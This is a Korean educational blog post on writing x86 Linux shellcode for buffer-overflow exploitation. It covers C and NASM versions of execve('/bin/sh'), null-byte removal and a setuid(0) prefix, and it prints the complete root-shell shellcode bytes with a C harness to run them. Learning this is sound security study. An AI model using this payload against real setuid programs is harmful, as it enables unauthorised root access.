Southern Island

[ Pwnable, Reversing ] BOF의 기본 쉘 코드 만들기 [해킹]

by 월루

《 유의사항! 》

해당 포스팅은 [해킹] 키워드가 적용된 포스팅입니다! 아래의 유의사항을 꼭 숙지해주세요!

1. 해당 포스팅을 통해 학습한 정보는 안전한 사회를 위한 긍정적 의도로만 사용될 수 있습니다.

2. 만약 실습을 원하실 경우 가상환경이나 허가된 범위에서만 실습을 진행해주세요.

3. 해당 포스팅을 열람하는 모든 인원은 위의 2가지 유의사항에 동의하는 것으로 간주됩니다.

 

쉘 코드란 무엇인가?

시스템 해킹에서의 피날레는 역시 권한 탈취이다, 이때 쉘 코드란 setuid로 동작하는 프로그램 도중 쉘(보통 "/bin/sh")을 실행시켜주는 기계어이다. BOF(Buffer Over Flow) 공격 시 RET(Return) 값을 쉘 코드 시작 주소로 하여 setuid 권한으로 쉘을 실행할 수 있다. BOF에 대한 내용은 다른 본문에서 알아보도록 하자.

 

쉘 코드는 어떻게 만들까?

쉘 코드의 대략적인 제작과정은 크게 3가지이다, 원하는 syscall 함수(System Call Function)를 고급언어(C, 파이썬 등)로 호출 -> 컴파일된 파일을 분석하여 ASM(어셈블리, 저급언어)으로 재작성 -> 재작성된 ASM 파일을 기계어 코드로 변환, 이제 한번 직접 만들어보자!

 

쉘 코드 만들기!

우선 쉘 코드를 만들기 전 어떤 syscall 함수를 이용할지 결정하여야 한다, 만들 수 있는 쉘 코드는 매우 다양하지만 쉘 코드의 궁극적인 목표인 쉘을 실행시키기 위한 execve라는 syscall 함수가 존재한다. 글쓴이는 C로 이를 호출해보겠다.

#include <stdio.h>

int main() {
        char* arg[2];
        arg[0] = "/bin/sh";
        arg[1] = 0;

        // int execve(const char *filename, char *const argv[], char *const envp[]);
        execve(arg[0], arg, &arg[1]);

        return 0;
}

 

gcc 컴파일시 옵션으로 -static 옵션을 주어야 한다, 이는 해당 파일을 정적 라이브러리로 컴파일하여 syscall 함수의 내부를 쉽게 파악하도록 도와준다.

잘 실행되었다, 당연하게도 uid와 gid는 현재 계정의 정보와 일치한다, 만약 해당 파일을 관리자(root) 권한으로 setuid 적용 후 위의 계정으로 다시 실행하면 결과는 어떻게 나올까? root의 권한으로 쉘을 실행한다고 예상할 수 있다.

하지만 결과는 전혀 달랐다, 이유가 무엇일까? 분명 root의 권한으로 local을 실행하였는데 말이다.

우선 리눅스 시스템의 RUID, EUID, SUID에 대한 개념이 필요하다. 간단하게 설명하자면 우리가 setuid가 적용된 파일을 실행시키면 EUID에 해당 setuid의 번호가 저장된다. 또한 실행 전의 원래 권한은 RUID에 저장되어 있다, SUID는 지금 내용에 크게 중요하지 않으니 생략, setuid가 적용된 파일을 실행할 땐 euid의 권한으로 작업을 수행한다, 이때 /bin/sh라는 파일 즉 쉘 파일을 실행하게 된다면 쉘 파일은 취약점 공격을 방어하기 위해 euid와 ruid 권한을 모두 확인한 뒤 해당 권한에 맞게 실행된다, 즉 쉘 파일의 자체 보호 기능으로 ruid 또한 실행에 영향을 주게 되어 위와 같은 결과가 나타나게 된 것이다. 그럼 어떻게 해야 될까? 간단하다, ruid를 euid와 동일하게 바꿔주면 된다. 이는 뒤에서 다루도록 하겠다.

 

우선 우리는 쉘코드 만들기의 첫 단계인 syscall 함수를 특정 고급언어로 호출하여 보았다, 이제 컴파일된 파일을 분석하여 ASM으로 재작성해보자. 우선 리눅스의 대표 디버깅 툴인 GDB를 사용하여 execve 함수 내부를 들여다보자

syscall 함수는 인자를 범용 레지스터를 통해 받는다, 인자의 순서대로 ebx, ecx...으로 진행된다.

또한 호출할 syscall 번호(종류)는 eax를 통해 받는다. eax를 통해 호출할 syscall 함수를 정의하고 인자를 넣은 후 "int 0x80"이라는 명령어가 호출되면 eax에 맞는 syscall이 호출된다. 위의 경우 eax : 0xb가 execve를 가리키며 총 3개의 인자 ebx, ecx, edx를 전달하고, int 0x80으로 syscall 함수를 호출했다. 만약 syscall 함수의 종류에 대해 궁금하다면 "/usr/include/asm/unistd.h"에 기본적인 syscall 함수 이름, 번호가 저장되어 있다. 그럼 우리가 ASM을 이용하여 구현할 부분은 위에 빨간 네모로 표시한 저 부분이다. 우리가 C로 만들었던 execve의 인자에 맞춰 레지스터를 채운 후 eax : 0xb번으로 "int 0x80"을 실행하면 될 것 같다. 그럼 이제 ASM으로 위의 syscall을 구현해보자. 우선 위에서 호출했던 C 소스코드에서 인자를 주목하자 "execve(arg[0], arg, &arg[1]);"

eax : 0xb
ebx : "/bin/sh\x00" 문자열을 가르키는 주소
ecx : { "bin/sh", 0 } 배열의 주소
edx : NULL을 가르키는 주소

int 0x80

위 내용대로 ASM을 작성해보자

global _start

_start:
        jmp short message

start:
        pop esi		; "/bin/sh",0x00을 가르키는 주소를 esi에 pop
        push 0		; edx의 인자값과 ecx의 배열의 2번째 원소로 사용될 NULL값 push
        mov edx, esp	; edx에 0x00의 주소값 mov
        push esi	; edx의 배열의 1번째 원소로 사용될 "/bin/sh",0x00 주소값 push

        mov ecx, esp	; 스택에 푸쉬된 { 0, "/bin/sh\x00" } 배열을 가르키는 주소 mov
        mov ebx, esi	; "/bin/sh\x00" 문자열을 가르키는 주소를 ebx에 mov
        mov eax, 0xb	; 사용할 syscall 함수(execve)의 고유번호 eax에 mov

        int 0x80	; 위 정보를 토대로 syscall 진행

message:
        call start
        db "/bin/sh", 0	; execve 인자값으로 사용될 "/bin/sh\x00" 문자열 선언

우리가 분석한 execve syscall을 asm으로 구현하였다. 인자 값이 상당히 복잡하여 처음엔 이해하기 힘들었다.

하지만 하나하나 스택을 구조를 그려가며 따라가면서 충분히 이해할 수 있었다, 아무래도 제일 어려운 부분이 ecx와 ebx에 인자 값을 mov 하는 부분인 것 같다. 한번 천천히 고민하며 그려가면서 이해하길 바란다. 아무튼 이제 2번째 단계가 모두 끝났다, 이제 마지막 단계인 기계어로 변환이다, 하지만 ASM은 기계어와 1대 1로 매칭 되는 저급 언어이다, 따라서 우리가 만든 파일을 실행파일로 만든 후 내용을 Hex값으로 확인하면 그것이 쉘 코드가 된다. 우선 우리가 만든 ASM 파일을 실행파일로 만들고 직접 실행시켜보자

nasm의 옵션으로 -f는 파일형식을 지정하는 옵션이다, ld 는 nasm의 결과물로 나온 .o 확장자를 ld 하여야 한다.

위의 과정을 거치고 실행해보면 아까 C로 구현했던 것과 동일한 결과물을 확인할 수 있다, 하지만 우리가 만든 ASM파일은 훨씬 가볍고 용량이 적으며 정말 필요한 부분만 기계어로 작성되어있다. 이제 만든 실행파일을 objdump를 이용하여 Hex값을 확인해보자

 우리가 만든 ASM 내용이 우측, 왼측이 실제 컴퓨터가 읽는 기계어를 Hex값으로 보여준다. 하지만 Hex값을 잘 보면 0x00 즉 NULL값이 포함되어있다, 우리가 쉘 코드를 사용할 BOF는 보통 문자열 복사, 입력, 출력에서 발생하는 버그를 이용하여 공격한다, 하지만 NULL값(문자열의 종료를 의미함)이 포함되어 있다면 우리가 원하는 모든 내용이 입력되기도 전에 문자열 종료문자인 NULL을 만나 정확한 쉘코드를 전달할 수 없을 것이다, 따라서 NULL값을 모두 제거해주어야 한다. NULL값이 들어간 곳은 크게 0을 push 하는 부분(0x8048083)과 eax에 0xb값을 mov(0x804808f)하는 부분이다, 이를 해결하기 위해 위에서 작성한 ASM 코드를 아래처럼 수정한다.

global _start

_start:
        jmp short message

start:
        pop esi
        xor eax, eax	; 같은 eax값을 xor 연산하여 결국 eax의 값은 0이된다.
        push eax	; push 0대신 push eax(0)을 하여 NULL값을 제거한다.
        mov edx, esp
        push esi

        mov ecx, esp
        mov ebx, esi
        mov al, 0xb	; eax에 0xb를 전달할때 eax 레지스터를 모두 사용하지 않고 al(1바이트)만 사용하여 NULL값을 제거한다.

        int 0x80

message:
        call start
        db "/bin/sh", 0

objdump -d local

NULL(0x00) 값이 모두 제거되었다, 비로써 쉘 코드로써 사용할 수 있는 Hex값이 되었다. 이제 Hex값만 추출하여 보겠다. 방법은 여러 가지가 있겠으나 글쓴이는 쉘 스크립트를 이용하여 Hex값을 추출하겠다.

기계어 코드는 \x(16진수)로 구성되어 있기 때문에 위와 같이 추출하였다.

이제 정말 /bin/sh를 실행하는 쉘 코드가 완성되었다. 하지만 위의 쉘 코드로는 setuid 권한으로 쉘을 실행할 수 없다, 글 초반에 얘기한 ruid와 euid 내용이다. 우린 ruid도 변경할 필요가 있다, 그러기 위해서 setuid()라는 syscall 함수 쉘 코드를 만들어야 한다. syscall 함수의 번호는 0x17 인자는 0(root) 권한으로 쉘코드를 제작하면 된다. 아래와 같다.

global _start

_start:
        xor eax, eax	; 같은 eax값을 xor연산하여 0
        mov ebx, eax	; 0(root) 인자값을 ebx에 전달
        mov al, 0x17	; 0x17(setuid()) 지정
        int 0x80	; 레지스터 정보를 토대로 syscall 진행

위와 같이 제작 후 objdump로 Hex값만 추출하면 "\x31\xc0\x89\xc3\xb0\x17\xcd\x80"값이 나오게 된다.

과정은 위와 동일하다, 이제 setuid 쉘 코드와 execve 쉘 코드를 서로 연결하여 

[ setuid(0) ]
\x31\xc0\x89\xc3\xb0\x17\xcd\x80

[ execve("/bin/sh", 배열주소, 0) ]
\xeb\x0f\x5e\x31\xc0\x50\x89\xe2\x56\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\xec\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

[ /bin/sh 쉘코드 ]
\x31\xc0\x89\xc3\xb0\x17\xcd\x80\xeb\x0f\x5e\x31\xc0\x50\x89\xe2\x56\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\xec\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

최종적으로 우리가 원하는 쉘코드를 얻을 수 있게 되었다. 이제 우리가 만든 쉘코드를 한번 실행시켜 보자,

우선 C언어로 아래와 같이 작성 후 컴파일하여본다.

#include <stdio.h>

// "/bin/sh"을 root권한으로 실행하는 쉘코드
char code[] = "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\xeb\x0f\x5e\x31\xc0\x50\x89\xe2\x56\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\xec\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main() {
        int (*exeshell)();
        exeshell = (int (*) ()) code;
        (int)(*exeshell)();
}

소스코드에 사용된 함수 포인터에 대한 내용은 다소 복잡하고 이해하기 힘들다, 그냥 저렇게 하면 내가 작성한 쉘코드가 실행되는구나 정도만 알면 충분하다, 혹시나 자세하게 알고싶은 분들은 함수포인터에 대해 찾아보면 된다. (사실 나도 이해가 잘 안된..) 이제 해당 소스코드를 컴파일 후 root 권한으로 setuid 적용 후 (chmod 4755) 일반 계정으로 컴파일된 실행파일을 실행하면 원하는 결과를 얻을 수 있게 된다!

실제로 CTF 대회에선 root 권한으로 setuid를 만드는 것보단 자신의 euid를 ruid에 설정하는 것이 옳다.

자신의 euid를 가져와 ruid를 바꾸려면 "setreuid(geteuid(), geteuid())"를 쉘 코드로 제작하면 된다.

 

추가 사항!

쉘 코드는 OS마다, OS 버전마다 모두 달라진다. 따라서 사용하던 쉘 코드라도 다른 OS나 다른 버전에선 정상적으로 동작하지 않을 수 있다. 따라서 쉘 코드를 만드는 방법을 알고 있어야 한다.

 

마치며...

제가 글을 쓰는 가장 큰 이유는 배운 내용을 정리하고 나중에 다시 공부하기 위해서입니다, 따라서 잘못된 정보가 포함되어 있거나 중요한 내용이 빠져 있을 수 있습니다, 잘못된 내용이나 빠진 내용이 있는 경우 댓글로 말씀해주시면 정말 감사드리겠습니다!

블로그의 정보

남쪽의 외딴섬

월루

활동하기